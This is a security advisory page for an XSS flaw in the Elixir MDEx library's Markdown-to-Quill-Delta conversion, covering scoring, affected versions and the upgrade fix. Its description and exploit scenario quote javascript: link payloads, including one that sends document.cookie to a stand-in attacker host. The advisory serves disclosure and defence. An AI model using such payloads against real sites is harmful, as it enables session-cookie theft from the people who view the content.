EUVD-2026-40178Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-delivered XSS with scope change to victim browser; user click required (UI:R); no privileges needed to submit Markdown input to the application.
Primary rating from Vendor (EEF).
CVSS VectorVendor: EEF
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
1DescriptionCVE.org
Improper Neutralization of Input During Web Page Generation (XSS) vulnerability in leandrocp mdex allows cross-site scripting via unsanitized URL schemes in Quill Delta output.
'Elixir.MDEx':to_delta/2 converts Markdown into a Quill Delta. 'Elixir.MDEx.DeltaConverter':default_convert_node/3 in lib/mdex/delta_converter.ex copies the URL of a link, wikilink, or image node directly from the parsed Markdown into the Delta "link" or "image" attribute without applying a scheme allowlist or any normalization.
An attacker who controls the Markdown text can supply a javascript: URL (for example [click](javascript:alert(document.cookie))) that survives verbatim into the Delta attribute. When the Delta is rendered to HTML by a downstream renderer (such as quill-delta-to-html or the Quill client), the attribute becomes an <a href> or <img src>, and the javascript: scheme executes in the browser of anyone who views the rendered content. The link and wikilink cases are the strongest vectors because javascript: in an href executes on click; the image case is lower impact because javascript: in <img src> generally does not execute in modern browsers.
This issue affects mdex: from 0.8.3 before 0.13.2.
AnalysisAI
Cross-site scripting in MDEx (Elixir Markdown library by leandrocp), versions 0.8.3 through 0.13.1, allows any attacker who can supply Markdown content to inject javascript: URLs that execute in the browser of any user who views the downstream-rendered output. The MDEx to_delta/2 function copies link, wikilink, and image URLs verbatim into Quill Delta attributes without a scheme allowlist, meaning a crafted payload like [click](javascript:alert(document.cookie)) survives intact; when a downstream renderer such as quill-delta-to-html converts that Delta to HTML, the javascript: scheme becomes an executable href. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires three concurrent architectural conditions to be met. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 score of 5.1 (Medium) accurately reflects the real-world risk profile. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker submits a Markdown document to a user-content field in an application that uses MDEx's to_delta/2 - for example, a comment system, wiki, or collaborative editor - containing a payload such as [click here](javascript:fetch('https://attacker.example/c?d='+document.cookie)). The application stores or serves the resulting Quill Delta, which retains the javascript: URL verbatim in the 'link' attribute; when any victim's browser renders that Delta to HTML via quill-delta-to-html or the Quill.js client and the victim clicks the link, the attacker's JavaScript executes in the victim's browser context, exfiltrating session cookies or performing actions on the victim's behalf. … |
| Remediation | Upgrade MDEx to version 0.13.2 or later, which is the vendor-released patch that resolves the missing scheme allowlist in DeltaConverter. … Detailed patch versions, workarounds, and compensating controls in full report. |
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Same weakness CWE-79 – Cross-site Scripting (XSS)
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External POC / Exploit Code
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